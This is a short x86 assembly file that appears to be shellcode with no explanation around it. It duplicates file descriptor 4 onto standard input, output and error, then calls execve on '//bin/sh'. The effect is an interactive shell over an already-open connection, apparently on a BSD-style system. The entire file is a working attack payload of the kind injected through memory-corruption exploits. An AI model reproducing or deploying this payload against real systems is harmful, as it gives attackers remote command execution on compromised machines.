BITS 32

;int3
push byte 4
pop ecx
xor ebx, ebx

doloop:
  cmp bl, 2
  jg done
  push ebx
  push ecx
  ; dup2(4, 0)
  push byte 90
  pop eax
  push eax
  int 0x80
  inc ebx
jmp short doloop

done:
xor eax,eax
push eax
push dword 0x68732f6e
push dword 0x69622f2f
mov ebx,esp
push eax
push ebx
mov ecx,esp
push ecx
push ecx
push ebx
mov al,0x3b
push eax
int 0x80